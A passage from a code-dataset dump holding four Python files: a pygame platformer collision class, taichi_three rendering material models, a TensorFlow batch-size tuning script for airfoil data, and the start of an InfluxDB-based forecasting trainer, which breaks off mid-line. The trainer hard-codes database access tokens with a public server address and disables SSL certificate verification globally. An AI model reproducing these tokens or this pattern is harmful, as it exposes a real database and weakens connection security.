\"left\"\n\n def collide_with(self, collisions):\n if not collisions:\n self.grounded = False\n return\n\n for rect in collisions:\n mtd = mtd_vector(self.rect, rect)\n #self.rect.x += mtd[0]\n #self.rect.y += mtd[1]\n\n if mtd[1] < 0: # collision from above\n self.velocity[1] = min(0, self.velocity[1])\n self.rect.bottom = rect.top + 1\n self.grounded = True\n elif mtd[1] > 0: # from below\n self.velocity[1] = max(0, self.velocity[1])\n self.rect.top = rect.bottom\n elif mtd[0] < 0: # from the left\n if self.rect.bottom - rect.top > 1:\n self.velocity[0] = min(0, self.velocity[0])\n self.rect.right = rect.left + 1\n elif mtd[0] > 0: # from the right\n if self.rect.bottom - rect.top > 1:\n self.velocity[0] = max(0, self.velocity[0])\n self.rect.left = rect.right - 1\n\n\n def update(self):\n if self.velocity[0] > 0:\n self.velocity[0] = max(0, self.velocity[0] - self.friction)\n elif self.velocity[0] < 0:\n self.velocity[0] = min(0, self.velocity[0] + self.friction)\n\n if not self.grounded:\n self.velocity[1] += self.gravity\n self.rect.move_ip(self.velocity[0], self.velocity[1])\n else:\n self.velocity[1] = max(0, self.velocity[1])\n self.rect.move_ip(self.velocity[0], self.velocity[1])\n\n if self.shoot_dir == \"left\":\n self.image = self.left_shoot_image\n self.shoot_count += 1\n elif self.shoot_dir == \"right\":\n self.image = self.right_shoot_image\n self.shoot_count += 1\n else:\n self.image = self.default_image\n\n if self.shoot_count >= self.shot_interval:\n self.shoot_dir = None\n\n\n","repo_name":"larsendt/ld26","sub_path":"dude.py","file_name":"dude.py","file_ext":"py","file_size_in_byte":3599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4428375935","text":"from ..advans import *\nfrom .nodes import *\n\n\nclass IMaterial(Node):\n @ti.func\n def brdf(self, nrm, idir, odir):\n raise NotImplementedError(type(self))\n\n @ti.func\n def emission(self):\n return 0.0\n\n @ti.func\n def estimate_emission(self):\n return 0.0\n\n @ti.func\n def ambient(self):\n return 1.0\n\n # cu = f(u, v), cv = g(u, v)\n # pdf = |df/du dg/dv - df/dv dg/du|\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n u, v = rng.random(), rng.random()\n u = ti.sqrt(u)\n axes = tangentspace(nrm)\n odir = axes @ spherical(u, v)\n odir = odir.normalized()\n brdf = self.brdf(nrm, idir, odir)\n return odir, brdf, Vavg(brdf)\n\n @classmethod\n def cook_for_ibl(cls, tab, precision):\n raise NotImplementedError(cls)\n\n @ti.func\n def sample_ibl(self, ibl, idir, nrm):\n raise NotImplementedError(type(self))\n\n def __add__(self, other):\n return AddMaterial(self, other)\n\n def mix(self, other, factor):\n return MixMaterial(self, other, factor)\n\n def __mul__(self, factor):\n return ScaleMaterial(self, factor)\n\n def __rmul__(self, factor):\n return ScaleMaterial(self, factor)\n\n\nclass IVolMaterial(IMaterial):\n # cu = f(u, v), cv = g(u, v)\n # pdf = |df/du dg/dv - df/dv dg/du|\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n u, v = rng.random() * 2 - 1, rng.random()\n axes = tangentspace(idir)\n odir = axes @ spherical(u, v)\n odir = odir.normalized()\n brdf = self.brdf(nrm, idir, odir)\n return odir, brdf, Vavg(brdf)\n\n\n@ti.func\ndef calc_fresnel_factor(metallic, albedo, specular=0.5):\n f0 = metallic * albedo + (1 - metallic) * 0.16 * specular**2\n return f0\n\n\nclass FresnelFactor(Node):\n arguments = ['metallic', 'albedo', 'specular']\n defaults = [0.0, 1.0, 0.5]\n\n @ti.func\n def __call__(self):\n albedo = self.param('albedo')\n metallic = self.param('metallic')\n specular = self.param('specular')\n return calc_fresnel_factor(metallic, albedo, specular)\n\n\nclass MixMaterial(IMaterial):\n arguments = ['factor']\n defaults = [0.5]\n\n def __init__(self, mat1, mat2, factor):\n super().__init__(factor=factor)\n self.mat1 = mat1\n self.mat2 = mat2\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n fac = self.param('factor')\n wei1 = self.mat1.brdf(nrm, idir, odir)\n wei2 = self.mat2.brdf(nrm, idir, odir)\n return (1 - fac) * wei1 + fac * wei2\n\n @ti.func\n def ambient(self):\n fac = self.param('factor')\n wei1 = self.mat1.ambient()\n wei2 = self.mat2.ambient()\n return (1 - fac) * wei1 + fac * wei2\n\n @ti.func\n def emission(self):\n fac = self.param('factor')\n wei1 = self.mat1.emission()\n wei2 = self.mat2.emission()\n return (1 - fac) * wei1 + fac * wei2\n\n @ti.func\n def estimate_emission(self):\n fac = 0.5#self.param('factor')\n wei1 = self.mat1.estimate_emission()\n wei2 = self.mat2.estimate_emission()\n return (1 - fac) * wei1 + fac * wei2\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n fac = self.param('factor')\n odir = V(0., 0., 0.)\n wei = V(0., 0., 0.)\n rough = 0.\n\n factor = smoothlerp(Vavg(fac), 0.12, 0.88)\n if rng.random() < factor:\n odir, wei, rough = self.mat2.sample(idir, nrm, sign, rng)\n wei *= fac / factor\n else:\n odir, wei, rough = self.mat1.sample(idir, nrm, sign, rng)\n wei *= (1 - fac) / (1 - factor)\n\n return odir, wei, rough\n\n @ti.func\n def sample_ibl(self, ibltab, idir, nrm):\n fac = self.param('factor')\n wei1 = self.mat1.sample_ibl(ibltab, idir, nrm)\n wei2 = self.mat2.sample_ibl(ibltab, idir, nrm)\n return (1 - fac) * wei1 + fac * wei2\n\n\nclass ScaleMaterial(IMaterial):\n arguments = ['factor']\n defaults = [1.0]\n\n def __init__(self, mat, factor):\n super().__init__(factor=factor)\n self.mat = mat\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n fac = self.param('factor')\n wei = self.mat.brdf(nrm, idir, odir)\n return fac * wei\n\n @ti.func\n def ambient(self):\n fac = self.param('factor')\n wei = self.mat.ambient()\n return fac * wei\n\n @ti.func\n def emission(self):\n fac = self.param('factor')\n wei = self.mat.emission()\n return fac * wei\n\n @ti.func\n def estimate_emission(self):\n fac = 1.0#self.param('factor')\n wei = self.mat.estimate_emission()\n return fac * wei\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n fac = self.param('factor')\n odir, wei, rough = self.mat.sample(idir, nrm, sign, rng)\n return odir, wei * fac, rough\n\n @ti.func\n def sample_ibl(self, ibls: ti.template(), idir, nrm):\n fac = self.param('factor')\n ibl = ti.static(ibls.get(type(self.mat), ibls))\n wei = self.mat.sample_ibl(ibl, idir, nrm)\n return wei * fac\n\n\nclass AddMaterial(IMaterial):\n arguments = []\n defaults = []\n\n def __init__(self, mat1, mat2):\n super().__init__()\n self.mat1 = mat1\n self.mat2 = mat2\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n wei1 = self.mat1.brdf(nrm, idir, odir)\n wei2 = self.mat2.brdf(nrm, idir, odir)\n return wei1 + wei2\n\n @ti.func\n def ambient(self):\n wei1 = self.mat1.ambient()\n wei2 = self.mat2.ambient()\n return wei1 + wei2\n\n @ti.func\n def emission(self):\n wei1 = self.mat1.emission()\n wei2 = self.mat2.emission()\n return wei1 + wei2\n\n @ti.func\n def estimate_emission(self):\n wei1 = self.mat1.estimate_emission()\n wei2 = self.mat2.estimate_emission()\n return wei1 + wei2\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n odir = V(0., 0., 0.)\n wei = V(0., 0., 0.)\n rough = 0.\n if rng.random_int() % 2 == 0:\n odir, wei, rough = self.mat1.sample(idir, nrm, sign, rng)\n wei *= 2\n else:\n odir, wei, rough = self.mat2.sample(idir, nrm, sign, rng)\n wei *= 2\n return odir, wei, rough\n\n\n# http://www.codinglabs.net/article_physically_based_rendering_cook_torrance.aspx\n# https://blog.csdn.net/cui6864520fei000/article/details/90033863\n# https://neil3d.blog.csdn.net/article/details/83783638\nclass CookTorrance(IMaterial):\n arguments = ['roughness', 'fresnel']\n defaults = [0.4, 1.0]\n\n def ambient(self):\n return 1.0\n\n #rough_levels = [0.5, 1.0]\n rough_levels = [0.03, 0.08, 0.18, 0.35, 0.65, 1.0]\n rough_levels = [(a, a - b) for a, b in zip(rough_levels, [0] + rough_levels)]\n\n @ti.func\n def sample_ibl(self, tab: ti.template(), idir, nrm):\n ibls, lut = ti.static(tab['spec'], tab['lut'])\n # https://zhuanlan.zhihu.com/p/261005894\n roughness = self.param('roughness')\n f0 = self.param('fresnel')\n\n rdir = reflect(-idir, nrm)\n wei = V(1., 1., 1.)\n for id, rough_info in ti.static(enumerate(self.rough_levels)):\n rough, rough_step = rough_info\n if rough - rough_step <= roughness <= rough:\n wei1 = ibls[id].sample(rdir)\n wei2 = ibls[id + 1].sample(rdir)\n fac2 = (rough - roughness) / rough_step\n wei = lerp(fac2, wei2, wei1)\n\n EPS = 1e-10\n half = (idir + rdir).normalized()\n VoH = min(1 - EPS, max(EPS, half.dot(rdir)))\n AB = bilerp(lut, V(VoH, roughness))\n wei *= f0 * AB.x + AB.y\n return wei\n\n @classmethod\n def cook_for_ibl(cls, tab, precision):\n env = tab['env']\n\n @ti.kernel\n def bake(ibl: ti.template(),\n roughness: ti.template(),\n nsamples: ti.template()):\n # https://zhuanlan.zhihu.com/p/261005894\n for I in ti.grouped(ibl.img):\n dir = ibl.unmapcoor(I)\n res, dem = V(0., 0., 0.), 0.\n alpha2 = max(0, roughness**2)\n for s in range(nsamples):\n u, v = ti.random(), ti.random()\n u = ti.sqrt((1 - u) / (1 - u * (1 - alpha2)))\n odir = tangentspace(dir) @ spherical(u, v)\n wei = env.sample(odir)\n res += wei * u\n dem += u\n ibl.img[I] = res / dem\n\n lut = texture_as_field('assets/lut.jpg') # TODO: bake LUT?\n\n ibls = [env]\n resolution = env.resolution\n for roughness, rough_step in cls.rough_levels:\n resolution = int(resolution / 2**(rough_step * 4))\n ibl = tina.Skybox(resolution)\n ibls.append(ibl)\n\n @ti.materialize_callback\n def init_ibl():\n nsamples = 8 * precision\n for ibl, (roughness, rough_step) in zip(ibls[1:], cls.rough_levels):\n print(f'[Tina] Baking IBL map ({\"x\".join(map(str, ibl.shape))} {nsamples} spp) for CookTorrance with roughness {roughness}...')\n bake(ibl, roughness, nsamples)\n nsamples = int(nsamples * 3**(rough_step * 4))\n print('[Tina] Baking IBL map for CookTorrance done')\n\n tab['spec'] = tuple(ibls)\n tab['lut'] = lut\n\n @ti.func\n def sub_brdf(self, nrm, idir, odir): # idir = L, odir = V\n roughness = self.param('roughness')\n f0 = self.param('fresnel')\n EPS = 1e-10\n\n half = (idir + odir).normalized()\n NoH = max(EPS, half.dot(nrm))\n NoL = max(EPS, idir.dot(nrm))\n NoV = max(EPS, odir.dot(nrm))\n VoH = min(1 - EPS, max(EPS, half.dot(odir)))\n LoH = min(1 - EPS, max(EPS, half.dot(idir)))\n\n # Trowbridge-Reitz GGX microfacet distribution\n alpha2 = max(eps, roughness**2)\n denom = 1 - NoH**2 * (1 - alpha2)\n ndf = alpha2 / denom**2 # D\n\n # Smith's method with Schlick-GGX\n k = alpha2 / 2\n #k = (roughness + 1)**2 / 8\n vdf = 1 / ((NoV * k + 1 - k))\n vdf *= 1 / ((NoL * k + 1 - k)) # G\n vdf /= lerp(alpha2, 1, 4 * ti.pi) # TODO: WTF?\n\n # GGX partial geometry term\n #tan2 = (1 - VoH**2) / VoH**2\n #vdf = 1 / (1 + ti.sqrt(1 + roughness**2 * tan2))\n #vdf /= ti.pi\n\n # Fresnel-Schlick approximation\n #kf = abs((1 - ior) / (1 + ior))**2\n #f0 = kf * basecolor + (1 - kf) * metallic\n fdf = f0 + (1 - f0) * (1 - VoH)**5 # F\n\n return fdf, vdf, ndf\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n fdf, vdf, ndf = self.sub_brdf(nrm, idir, odir)\n return fdf * vdf * ndf\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n roughness = self.param('roughness') # TODO: param duplicate evaluation?\n f0 = self.param('fresnel')\n EPS = 1e-10\n\n alpha2 = max(0, roughness**2)\n\n # https://zhuanlan.zhihu.com/p/95865910\n u, v = rng.random(), rng.random()\n u = ti.sqrt((1 - u) / (1 - u * (1 - alpha2)))\n rdir = reflect(-idir, nrm)\n axes = tangentspace(rdir)\n odir = axes @ spherical(u, v)\n\n fdf, vdf, ndf = self.sub_brdf(nrm, idir, odir)\n if odir.dot(nrm) < 0:\n odir = -odir\n fdf = 0.0\n\n return odir, fdf * vdf, ndf\n\n\nclass Lambert(IMaterial):\n arguments = []\n defaults = []\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 1 / ti.pi\n\n def ambient(self):\n return 1.0\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n u, v = rng.random(), rng.random()\n u = ti.sqrt(u)\n axes = tangentspace(nrm)\n odir = axes @ spherical(u, v)\n odir = odir.normalized()\n return odir, 1.0, 1.0\n\n @classmethod\n def cook_for_ibl(cls, tab, precision):\n env = tab['env']\n ibl = tina.Skybox(env.resolution // 6)\n denoise = tina.Denoise(ibl.shape)\n nsamples = 128 * precision\n\n @ti.kernel\n def bake():\n # https://zhuanlan.zhihu.com/p/261005894\n for I in ti.grouped(ibl.img):\n dir = ibl.unmapcoor(I)\n res, dem = V(0., 0., 0.), 0.\n for s in range(nsamples):\n u, v = ti.random(), ti.random()\n odir = tangentspace(dir) @ spherical(u, v)\n wei = env.sample(odir)\n res += wei * u\n dem += u\n ibl.img[I] = res / dem\n\n @ti.materialize_callback\n def init_ibl():\n print(f'[Tina] Baking IBL map ({\"x\".join(map(str, ibl.shape))} {nsamples} spp) for Lambert...')\n bake()\n print('[Tina] Denoising IBL map with KNN for Lambert...')\n denoise.src.copy_from(ibl.img)\n denoise.knn()\n ibl.img.copy_from(denoise.dst)\n print('[Tina] Baking IBL map for Lambert done')\n\n tab['diff'] = ibl\n\n @ti.func\n def sample_ibl(self, tab, idir, nrm):\n return tab['diff'].sample(nrm)\n\n\nclass Phong(IMaterial):\n arguments = ['shineness']\n defaults = [32.0]\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n m = self.param('shineness')\n rdir = reflect(-idir, nrm)\n VoR = max(0, odir.dot(rdir))\n return VoR**m * (m + 2) / 2\n\n def ambient(self):\n return 1.0\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n # https://developer.nvidia.com/gpugems/gpugems3/part-iii-rendering/chapter-20-gpu-based-importance-sampling\n m = self.param('shineness')\n u, v = rng.random(), rng.random()\n u = u**(1 / (m + 1))\n rdir = reflect(-idir, nrm)\n axes = tangentspace(rdir)\n odir = axes @ spherical(u, v)\n wei = 1.0\n if odir.dot(nrm) < 0:\n odir = -odir\n wei = 0.0\n return odir, wei, u**m * (m + 2) / 2\n\n\nclass HenyeyGreenstein(IVolMaterial):\n arguments = ['g']\n defaults = [0.76]\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n mu = idir.dot(odir)\n return self.sub_brdf(mu)\n\n def sub_brdf(self, mu):\n g = self.param('g')\n return (1 - g**2) / (1 + g**2 + 2 * g * mu)**(3/2)\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n g = self.param('g')\n u, v = rng.random(), rng.random()\n de = (1 - u) / (1 + g) + u / (1 - g)\n mu = (1 + g**2 - 1 / de**2) / (2 * g)\n if -g >= 1 - eps:\n mu = -1\n elif abs(g) <= eps:\n mu = u * 2 - 1\n axes = tangentspace(-idir)\n odir = axes @ spherical(mu, v)\n odir = odir.normalized()\n return odir, 1.0, self.sub_brdf(mu)\n\n\nclass VolScatter(IVolMaterial):\n arguments = []\n defaults = []\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 1.0\n\n\nclass Glass(IMaterial):\n arguments = ['ior']\n defaults = [1.52]\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 0.0\n\n def ambient(self):\n return 0.0\n\n @ti.func\n def _sample(self, idir, nrm, sign, rng):\n ior = self.param('ior')\n if sign >= 0:\n ior = 1 / ior\n\n EPS = 1e-10\n\n has_refr, refr_dir = refract(-idir, nrm, ior)\n\n factor = 1.0\n fdf = 1.0\n if has_refr:\n f0 = abs((1 - ior) / (1 + ior))**2\n NoV = abs(idir.dot(nrm))\n if sign >= 0:\n NoV = ior * NoV\n fdf = f0 + (1 - f0) * (1 - NoV)**5\n factor = smoothlerp(Vavg(fdf), 0.15, 0.92)\n\n wei, odir = 0.0, V(0., 0., 0.)\n if rng.random() < factor:\n odir = reflect(-idir, nrm)\n wei = fdf / factor\n else:\n odir = refr_dir\n wei = (1 - fdf) / (1 - factor)\n\n return odir, wei, inf\n\n\nclass Transparent(IMaterial):\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 0.0\n\n def ambient(self):\n return 0.0\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n return -idir, 1.0, inf\n\n\nclass Mirror(IMaterial):\n arguments = []\n defaults = []\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 0.0\n\n def ambient(self):\n return 1.0\n\n @classmethod\n def cook_for_ibl(cls, env, tab, precision):\n pass\n\n @ti.func\n def sample_ibl(self, tab, idir, nrm):\n odir = reflect(-idir, nrm)\n return tab['env'].sample(odir)\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n odir = reflect(-idir, nrm)\n return odir, 1.0, inf\n\n\n# noinspection PyMissingConstructor\n@ti.data_oriented\nclass VirtualMaterial(IMaterial):\n def __init__(self, materials, mid):\n self.materials = materials\n self.mid = mid\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n wei = V(0., 0., 0.)\n for i, mat in ti.static(enumerate(self.materials)):\n if i == self.mid:\n wei = mat.brdf(nrm, idir, odir)\n return wei\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n odir, wei, rough = V(0., 0., 0.), V(0., 0., 0.), 0.\n for i, mat in ti.static(enumerate(self.materials)):\n if i == self.mid:\n odir, wei, rough = mat.sample(idir, nrm, sign, rng)\n return odir, wei, rough\n\n @ti.func\n def ambient(self):\n wei = V(0., 0., 0.)\n for i, mat in ti.static(enumerate(self.materials)):\n if i == self.mid:\n wei = mat.ambient()\n return wei\n\n @ti.func\n def emission(self):\n wei = V(0., 0., 0.)\n for i, mat in ti.static(enumerate(self.materials)):\n if i == self.mid:\n wei = mat.emission()\n return wei\n\n @ti.func\n def estimate_emission(self):\n wei = 0.\n for i, mat in ti.static(enumerate(self.materials)):\n if i == self.mid:\n wei = mat.estimate_emission()\n return wei\n\n\n@ti.data_oriented\nclass MaterialTable:\n def __init__(self):\n self.materials = []\n\n def clear_materials(self):\n self.materials.clear()\n\n @ti.func\n def get(self, mtlid):\n ti.static_assert(len(self.materials))\n return tina.VirtualMaterial(self.materials, mtlid)\n\n def add_material(self, matr):\n self.materials.append(matr)\n\n\nclass Emission(IMaterial):\n arguments = []\n defaults = []\n\n @ti.func\n def brdf(self, nrm, idir, odir):\n return 0.0\n\n @ti.func\n def ambient(self):\n return 0.0\n\n @ti.func\n def emission(self):\n return 1.0\n\n @ti.func\n def estimate_emission(self):\n return 1.0\n\n @ti.func\n def sample(self, idir, nrm, sign, rng):\n return idir, 0.0, 0.0\n\n\ndef Classic(color='color', shineness=32, specular=0.4):\n mat_diff = tina.Lambert() * color\n mat_spec = tina.Phong(shineness=shineness)\n material = tina.MixMaterial(mat_diff, mat_spec, specular)\n return material\n\n\ndef Diffuse(color='color'):\n material = tina.Lambert() * color\n return material\n\n\ndef Lamp(color='color'):\n material = tina.Emission() * color\n return material\n\n\ndef PBR(basecolor='color', metallic=0.0, roughness=0.4, specular=0.5):\n mat_diff = tina.Lambert() * basecolor\n f0 = tina.FresnelFactor(metallic=metallic, albedo=basecolor, specular=specular)\n mat_spec = tina.CookTorrance(roughness=roughness, fresnel=f0)\n material = tina.MixMaterial(mat_diff, mat_spec, f0)\n return material\n","repo_name":"taichi-dev/taichi_three","sub_path":"tina/matr/material.py","file_name":"material.py","file_ext":"py","file_size_in_byte":19497,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"48"} +{"seq_id":"1120214006","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 9 00:04:43 2021\r\n\r\n@author: lihen\r\n\"\"\"\r\n\r\n#import relevant packages and set some important parameters\r\nimport time\r\nstart_time = time.time()\r\nimport random\r\nimport tensorflow as tf\r\nimport os\r\nos.environ['TF_DETERMINISTIC_OPS'] = '1'\r\nfrom tensorboard.plugins.hparams import api as hp\r\n# Python 3.5\r\nimport numpy as np\r\nimport pandas as pd\r\nimport sys\r\nfrom tensorflow.keras.callbacks import ReduceLROnPlateau\r\nnp.set_printoptions(threshold=sys.maxsize)\r\npd.set_option(\"display.max_rows\", None, \"display.max_columns\", None)\r\nresult = pd.read_pickle('./naca4_clcd_turb_st_3para.pkl', compression=None)\r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.max_rows', None)\r\n\r\ndef reset_random_seeds():\r\n os.environ['PYTHONHASHSEED']=str(1615400000)\r\n tf.random.set_seed(1615400000)\r\n np.random.seed(1615400000)\r\n random.seed(1615400000)\r\ngg=1000\r\n#load data from naca4_clcd_turb_st_3para.pkl\r\ninp_reno=[]\r\ninp_aoa=[]\r\ninp_para=[]\r\n\r\n\r\nout_cm=[]\r\nout_cd=[]\r\nout_cl=[]\r\n\r\n\r\nout_cm.extend(result[0]) \r\nout_cd.extend(result[1])\r\nout_cl.extend(result[2])\r\n\r\ninp_reno.extend(result[3])\r\ninp_aoa.extend(result[4])\r\ninp_para.extend(result[5])\r\n\r\nout_cm=np.asarray(out_cm)/0.188171\r\nout_cd=np.asarray(out_cd)/0.2466741\r\nout_cl=np.asarray(out_cl)/1.44906\r\n\r\n\r\nout_cd=np.asarray(out_cd)\r\nout_cl=np.asarray(out_cl)\r\n\r\ninp_reno=np.asarray(inp_reno)\r\ninp_aoa=np.asarray(inp_aoa)\r\ninp_para=np.asarray(inp_para)/np.array([6,6,30])\r\n\r\nN= len(out_cm)\r\nprint(N)\r\nI = np.arange(N)\r\nnp.random.shuffle(I)\r\nn=N\r\n\r\n#normalize the numeral values such that the max value is 1\r\ninp_reno=inp_reno/100000.\r\ninp_aoa=inp_aoa/14.0\r\n\r\nmy_inp=np.concatenate((inp_reno[:,None],inp_aoa[:,None],inp_para[:,:]),axis=1)\r\nmy_out=np.concatenate((out_cd[:,None],out_cl[:,None]),axis=1)\r\n## Training sets\r\nxtr0 = my_inp[I][:n]\r\nttr1 = my_out[I][:n]\r\n\r\n\r\n#list of discrete batch sizes to train model\r\nHP_BATCH= hp.HParam('batch_size', hp.Discrete([16,32,64,128,256,512]))\r\nMETRIC_MSE = 'Mean Squared Error'\r\n\r\nwith tf.summary.create_file_writer('logs/batch').as_default():\r\n hp.hparams_config(\r\n hparams=[HP_BATCH],\r\n metrics=[hp.Metric(METRIC_MSE, display_name='val_loss')],\r\n )\r\n\r\nepochs = list(range(0,gg))\r\n\r\n#this function sets the batch size of the model for training based on the list given.\r\ndef train_test_model(hparams):\r\n xx = 90\r\n model = tf.keras.models.Sequential()\r\n model.add(tf.keras.layers.InputLayer(input_shape=(5,)))\r\n model.add(tf.keras.layers.Dense(xx, kernel_initializer='random_normal', activation=tf.keras.activations.relu))\r\n model.add(tf.keras.layers.Dense(xx, activation=tf.keras.activations.relu))\r\n model.add(tf.keras.layers.Dense(xx, activation=tf.keras.activations.relu))\r\n model.add(tf.keras.layers.Dense(xx, activation=tf.keras.activations.relu))\r\n model.add(tf.keras.layers.Dense(xx, activation=tf.keras.activations.relu))\r\n model.add(tf.keras.layers.Dense(2, activation=None))\r\n model.summary()\r\n \r\n size = hparams[HP_BATCH] \r\n if size == 16:\r\n b = 16\r\n elif size == 32:\r\n b = 32\r\n elif size == 64:\r\n b= 64\r\n elif size == 128:\r\n b= 128\r\n elif size == 256:\r\n b= 256\r\n elif size == 512:\r\n b= 512\r\n else:\r\n raise ValueError(\"unexpected size: %r\" % (size))\r\n \r\n model.compile(\r\n optimizer=tf.keras.optimizers.Nadam(learning_rate=0.001),\r\n loss=tf.keras.losses.MeanSquaredError(),\r\n metrics=[tf.keras.metrics.MeanSquaredError()]\r\n )\r\n # tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=run_name)\r\n reduce_lr = ReduceLROnPlateau(monitor='loss', factor=0.5, mode='min',verbose=1 ,patience=100, min_lr=1.0e-8)\r\n history = model.fit([xtr0], [ttr1], validation_split=0.1,callbacks=[reduce_lr], batch_size=b, epochs=gg)\r\n mse = np.array(history.history['val_loss'])\r\n return mse\r\n\r\n#records the loss function of this model \r\ndef run(run_dir, hparams):\r\n with tf.summary.create_file_writer(run_dir).as_default():\r\n hp.hparams(hparams) # record the values used in this trial\r\n mse1 = train_test_model(hparams)\r\n for idx, epoch in enumerate(epochs):\r\n mse = mse1[idx]\r\n tf.summary.scalar(METRIC_MSE, mse, step=epoch+1)\r\n \r\nsession_num = 0\r\n#tensorboard --logdir='C:/Users/lihen/projects/tf-gpu-MNIST/logs/hparam_tuning5layer' is the path to called Tensorboard for comparing models\r\n\r\n#print details and keep logs upon script execution\r\nfor batch in HP_BATCH.domain.values:\r\n hparams = {\r\n HP_BATCH: batch\r\n }\r\n run_name = \"%d\" % (batch)\r\n print('--- Starting trial: %s' % run_name)\r\n print({h.name: hparams[h] for h in hparams})\r\n run('logs/batch/' + run_name, hparams)\r\n session_num += 1\r\n reset_random_seeds()\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"pptstall18/Airfoil-Optimization-using-DNN","sub_path":"hp_batch.py","file_name":"hp_batch.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37791770751","text":"import json\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime, timedelta\nimport pyarrow as pa\nfrom influxdb_client import InfluxDBClient\nfrom matplotlib import pyplot as plt\nimport joblib\nimport pymongo\nfrom sklearn.preprocessing import MinMaxScaler\nimport pytz\n\nfrom classes.data_processor import Data, generate_features_new_data\nfrom classes.models import XGBRegressor, LGBMRegressor, LinearRegressor\nfrom classes.search_methods import RandomSearch\n\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\nmodels = ['XGBoost', 'LGBM', 'LinearRegression']\n\n# Define the InfluxDB cloud parameters\n# influx_cloud_url = 'http://localhost:8086/'\n# influx_cloud_token = 'gJExfQxYqEI5cCRa26wSWkUUdyn9nmF-f34nlfcBGGHUEM3YzYYWlgDDkcvoewrYSKBW6QE9A9Y7bvCy0zwTPg=='\ninflux_cloud_url = 'http://83.212.75.52:8086/'\ninflux_cloud_token = '0ehmd5lRU3mlnfojqEBQLHksrCbw-rIwz34bLG0yebtYY4PBRazICAPKz7NodJxXHlV23RWKd8lI7q0irXt2wQ=='\nbucket = 'more'\norg = 'Athena'\nkind = 'bebeze'\n\nclass Trainer:\n def __init__(self, config_dict, target) -> None:\n self.models = {}\n self.data = None\n self.config = config_dict\n self.results = {}\n \n field = target\n # get the features of the target value from [\"features\"][\"columnFeatures\"]\n extra_columns = next((column[\"features\"] for column in config_dict[\"features\"][\"columnFeatures\"] if column[\"columnName\"] == target), [])\n\n # define the start and end date of the data that we want to get from influx in time format\n start_date = datetime.fromtimestamp(self.config['startDate'] / 1000).strftime('%Y-%m-%dT%H:%M:%SZ')\n end_date = datetime.fromtimestamp(self.config['endDate']/ 1000).strftime('%Y-%m-%dT%H:%M:%SZ')\n time_interval = config_dict['time_interval']\n\n client = InfluxDBClient(url=influx_cloud_url, token=influx_cloud_token, org=org)\n\n # create a query in influx to get the acti_power data that start from 2018-01-03 00:00:00 to 2018-01-06 00:00:00\n query = f'from(bucket: \"{bucket}\") \\\n |> range(start: {start_date}, stop: {end_date})\\\n |> filter(fn: (r) => r._measurement == \"{kind}\")\\\n |> filter(fn:(r) => r._field == \"{field}\" '\n \n for extra_column in extra_columns:\n query += f'or r._field == \"{extra_column}\" '\n\n query += f')\\\n |> window(every: {time_interval})\\\n |> mean()'\n \n query_api = client.query_api()\n result = query_api.query(query=query, org=org)\n\n # add target column to the results as dictionary keys\n keys = [target] + extra_columns\n results = {key: [] for key in keys}\n\n for table in result:\n for record in table.records:\n results[record['_field']].append({record['_start']: record['_value']})\n\n # convert the results to dataframe format, where each key is a column\n self.df = pd.DataFrame({col: [list(record.values())[0] for record in results[col]] for col in results})\n # Set the datetime as the index\n self.df.set_index(pd.DatetimeIndex([list(record.keys())[0] for record in results[target]]), inplace=True)\n # call the init_data function to initialize the data\n\n # Shift the target column one value down - so as to predict the t+1 values - and remove the NaN value\n self.df[target] = self.df[target].shift(-1)\n self.df.dropna(inplace=True)\n\n # TODO: check issue with shifted predictions\n # plot the predictions\n # plt.figure(figsize=(25,8))\n # plt.plot(y_test_unscaled[:,0], label='True')\n # plt.plot([row[0] for row in self.get_results()[list(self.get_results().keys())[0]]['y_pred_test']], label='Predicted')\n # plt.xlabel('Time')\n # plt.legend()\n # plt.title('Predictions of ' + target)\n\n # plt.savefig('test.png')\n\n\n def start(self):\n self.init_data(self.df)\n\n self.train()\n\n def init_data(self, data_table):\n self.data = Data(data_table, self.config[\"time_interval\"])\n self.target = data_table.columns[0]\n \n self.data.set_data(self.data.get_all_data()[self.target].to_frame())\n\n # Clean data\n self.data.clean_data(self.target)\n\n # Generate the time features\n self.data.generate_time_features(self.config)\n\n # One hot encode the time features\n self.data.one_hot_encode_time_features(self.config)\n\n # # Add column features to the data\n self.data.add_column_features(self.config, self.target)\n\n # Generate features\n self.data.generate_features(self.config, self.target)\n \n # Split data\n self.data.split_data(val_perc=self.config['dataSplit'][1]/100, test_perc=self.config['dataSplit'][2]/100)\n\n # Normalize data\n self.data.normalize_data(self.config, self.target)\n\n # Split data to features and 